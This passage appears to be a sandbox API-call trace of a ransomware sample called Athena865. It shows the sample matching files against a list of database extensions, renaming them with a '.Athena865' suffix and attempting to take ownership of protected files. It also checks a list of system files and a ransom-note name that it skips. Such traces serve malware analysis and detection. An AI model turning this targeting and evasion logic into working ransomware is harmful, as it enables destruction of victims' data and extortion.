(lpString1="cc752}", lpString2="sqlite") returned -1 [0035.432] lstrlenW (lpString="sqlite3") returned 7 [0035.432] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.432] lstrlenW (lpString="sqlitedb") returned 8 [0035.432] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.432] lstrlenW (lpString="xml") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.433] lstrlenW (lpString="$er") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.433] lstrlenW (lpString="4dd") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.433] lstrlenW (lpString="4dl") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.433] lstrlenW (lpString="^^^") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.433] lstrlenW (lpString="abs") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.433] lstrlenW (lpString="abx") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.433] lstrlenW (lpString="accdb") returned 5 [0035.433] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.433] lstrlenW (lpString="accdc") returned 5 [0035.433] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.433] lstrlenW (lpString="accde") returned 5 [0035.433] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.433] lstrlenW (lpString="accdr") returned 5 [0035.433] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.433] lstrlenW (lpString="accdt") returned 5 [0035.433] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.433] lstrlenW (lpString="accdw") returned 5 [0035.433] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.433] lstrlenW (lpString="accft") returned 5 [0035.433] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.433] lstrlenW (lpString="adb") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.433] lstrlenW (lpString="adb") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.433] lstrlenW (lpString="ade") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.433] lstrlenW (lpString="adf") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.433] lstrlenW (lpString="adn") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.433] lstrlenW (lpString="adp") returned 3 [0035.433] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.433] lstrlenW (lpString="alf") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.434] lstrlenW (lpString="ask") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.434] lstrlenW (lpString="btr") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.434] lstrlenW (lpString="cat") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.434] lstrlenW (lpString="cdb") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.434] lstrlenW (lpString="ckp") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.434] lstrlenW (lpString="cma") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.434] lstrlenW (lpString="cpd") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.434] lstrlenW (lpString="dacpac") returned 6 [0035.434] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.434] lstrlenW (lpString="dad") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.434] lstrlenW (lpString="dadiagrams") returned 10 [0035.434] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.434] lstrlenW (lpString="daschema") returned 8 [0035.434] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.434] lstrlenW (lpString="db-journal") returned 10 [0035.434] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.434] lstrlenW (lpString="db-shm") returned 6 [0035.434] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.434] lstrlenW (lpString="db-wal") returned 6 [0035.434] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.434] lstrlenW (lpString="dbc") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.434] lstrlenW (lpString="dbs") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.434] lstrlenW (lpString="dbt") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.434] lstrlenW (lpString="dbv") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.434] lstrlenW (lpString="dbx") returned 3 [0035.434] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.435] lstrlenW (lpString="dcb") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.435] lstrlenW (lpString="dct") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.435] lstrlenW (lpString="dcx") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.435] lstrlenW (lpString="ddl") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.435] lstrlenW (lpString="dlis") returned 4 [0035.435] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.435] lstrlenW (lpString="dp1") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.435] lstrlenW (lpString="dqy") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.435] lstrlenW (lpString="dsk") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.435] lstrlenW (lpString="dsn") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.435] lstrlenW (lpString="dtsx") returned 4 [0035.435] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.435] lstrlenW (lpString="dxl") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.435] lstrlenW (lpString="eco") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.435] lstrlenW (lpString="ecx") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.435] lstrlenW (lpString="edb") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.435] lstrlenW (lpString="epim") returned 4 [0035.435] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.435] lstrlenW (lpString="fcd") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.435] lstrlenW (lpString="fdb") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.435] lstrlenW (lpString="fic") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.435] lstrlenW (lpString="flexolibrary") returned 12 [0035.435] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.435] lstrlenW (lpString="fm5") returned 3 [0035.435] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.436] lstrlenW (lpString="fmp") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.436] lstrlenW (lpString="fmp12") returned 5 [0035.436] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.436] lstrlenW (lpString="fmpsl") returned 5 [0035.436] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.436] lstrlenW (lpString="fol") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.436] lstrlenW (lpString="fp3") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.436] lstrlenW (lpString="fp4") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.436] lstrlenW (lpString="fp5") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.436] lstrlenW (lpString="fp7") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.436] lstrlenW (lpString="fpt") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.436] lstrlenW (lpString="frm") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.436] lstrlenW (lpString="gdb") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.436] lstrlenW (lpString="gdb") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.436] lstrlenW (lpString="grdb") returned 4 [0035.436] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.436] lstrlenW (lpString="gwi") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.436] lstrlenW (lpString="hdb") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.436] lstrlenW (lpString="his") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.436] lstrlenW (lpString="ib") returned 2 [0035.436] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.436] lstrlenW (lpString="idb") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.436] lstrlenW (lpString="ihx") returned 3 [0035.436] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.436] lstrlenW (lpString="itdb") returned 4 [0035.437] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.437] lstrlenW (lpString="itw") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.437] lstrlenW (lpString="jet") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.437] lstrlenW (lpString="jtx") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.437] lstrlenW (lpString="kdb") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.437] lstrlenW (lpString="kexi") returned 4 [0035.437] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.437] lstrlenW (lpString="kexic") returned 5 [0035.437] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.437] lstrlenW (lpString="kexis") returned 5 [0035.437] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.437] lstrlenW (lpString="lgc") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.437] lstrlenW (lpString="lwx") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.437] lstrlenW (lpString="maf") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.437] lstrlenW (lpString="maq") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.437] lstrlenW (lpString="mar") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.437] lstrlenW (lpString="marshal") returned 7 [0035.437] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.437] lstrlenW (lpString="mas") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.437] lstrlenW (lpString="mav") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.437] lstrlenW (lpString="maw") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.437] lstrlenW (lpString="mdbhtml") returned 7 [0035.437] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.437] lstrlenW (lpString="mdn") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.437] lstrlenW (lpString="mdt") returned 3 [0035.437] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.437] lstrlenW (lpString="mfd") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.438] lstrlenW (lpString="mpd") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.438] lstrlenW (lpString="mrg") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.438] lstrlenW (lpString="mud") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.438] lstrlenW (lpString="mwb") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.438] lstrlenW (lpString="myd") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.438] lstrlenW (lpString="ndf") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.438] lstrlenW (lpString="nnt") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.438] lstrlenW (lpString="nrmlib") returned 6 [0035.438] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.438] lstrlenW (lpString="ns2") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.438] lstrlenW (lpString="ns3") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.438] lstrlenW (lpString="ns4") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.438] lstrlenW (lpString="nsf") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.438] lstrlenW (lpString="nv") returned 2 [0035.438] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.438] lstrlenW (lpString="nv2") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.438] lstrlenW (lpString="nwdb") returned 4 [0035.438] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.438] lstrlenW (lpString="nyf") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.438] lstrlenW (lpString="odb") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.438] lstrlenW (lpString="odb") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.438] lstrlenW (lpString="oqy") returned 3 [0035.438] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.439] lstrlenW (lpString="ora") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.439] lstrlenW (lpString="orx") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.439] lstrlenW (lpString="owc") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.439] lstrlenW (lpString="p96") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.439] lstrlenW (lpString="p97") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.439] lstrlenW (lpString="pan") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.439] lstrlenW (lpString="pdb") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.439] lstrlenW (lpString="pdm") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.439] lstrlenW (lpString="pnz") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.439] lstrlenW (lpString="qry") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.439] lstrlenW (lpString="qvd") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.439] lstrlenW (lpString="rbf") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.439] lstrlenW (lpString="rctd") returned 4 [0035.439] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.439] lstrlenW (lpString="rod") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.439] lstrlenW (lpString="rodx") returned 4 [0035.439] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.439] lstrlenW (lpString="rpd") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.439] lstrlenW (lpString="rsd") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.439] lstrlenW (lpString="sas7bdat") returned 8 [0035.439] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.439] lstrlenW (lpString="sbf") returned 3 [0035.439] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.439] lstrlenW (lpString="scx") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.440] lstrlenW (lpString="sdb") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.440] lstrlenW (lpString="sdc") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.440] lstrlenW (lpString="sdf") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.440] lstrlenW (lpString="sis") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.440] lstrlenW (lpString="spq") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.440] lstrlenW (lpString="te") returned 2 [0035.440] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.440] lstrlenW (lpString="teacher") returned 7 [0035.440] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.440] lstrlenW (lpString="tmd") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.440] lstrlenW (lpString="tps") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.440] lstrlenW (lpString="trc") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.440] lstrlenW (lpString="trc") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.440] lstrlenW (lpString="trm") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.440] lstrlenW (lpString="udb") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.440] lstrlenW (lpString="udl") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.440] lstrlenW (lpString="usr") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.440] lstrlenW (lpString="v12") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.440] lstrlenW (lpString="vis") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.440] lstrlenW (lpString="vpd") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.440] lstrlenW (lpString="vvv") returned 3 [0035.440] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.440] lstrlenW (lpString="wdb") returned 3 [0035.441] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.441] lstrlenW (lpString="wmdb") returned 4 [0035.441] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.441] lstrlenW (lpString="wrk") returned 3 [0035.441] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.441] lstrlenW (lpString="xdb") returned 3 [0035.441] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.441] lstrlenW (lpString="xld") returned 3 [0035.441] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.441] lstrlenW (lpString="xmlff") returned 5 [0035.441] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.441] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.441] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.441] GetLastError () returned 0x5 [0035.441] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.441] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.441] SetEntriesInAclW () returned 0x0 [0035.441] SetNamedSecurityInfoW () returned 0x5 [0035.441] SetNamedSecurityInfoW () returned 0x5 [0035.441] LocalFree (hMem=0x529490) returned 0x0 [0035.441] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.441] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625bca0-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.441] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0035.442] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.442] CloseHandle (hObject=0x154) returned 1 [0035.462] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.462] CloseHandle (hObject=0x0) returned 0 [0035.462] CloseHandle (hObject=0x0) returned 0 [0035.474] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ea229c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6ea229c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x707e2180, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x221bc000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{97A6A~1")) returned 1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.474] lstrlenW (lpString="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.474] lstrcpyW (in: lpString1=0x241e882, lpString2="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.474] lstrlenW (lpString="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.474] lstrlenW (lpString="Athena865") returned 9 [0035.474] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.474] lstrlenW (lpString=".dll") returned 4 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.474] lstrlenW (lpString=".lnk") returned 4 [0035.474] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.475] lstrlenW (lpString=".ini") returned 4 [0035.475] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.475] lstrlenW (lpString=".sys") returned 4 [0035.475] lstrcmpiW (lpString1="{97a6ae5a-521a-11e7-94d2-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.475] lstrlenW 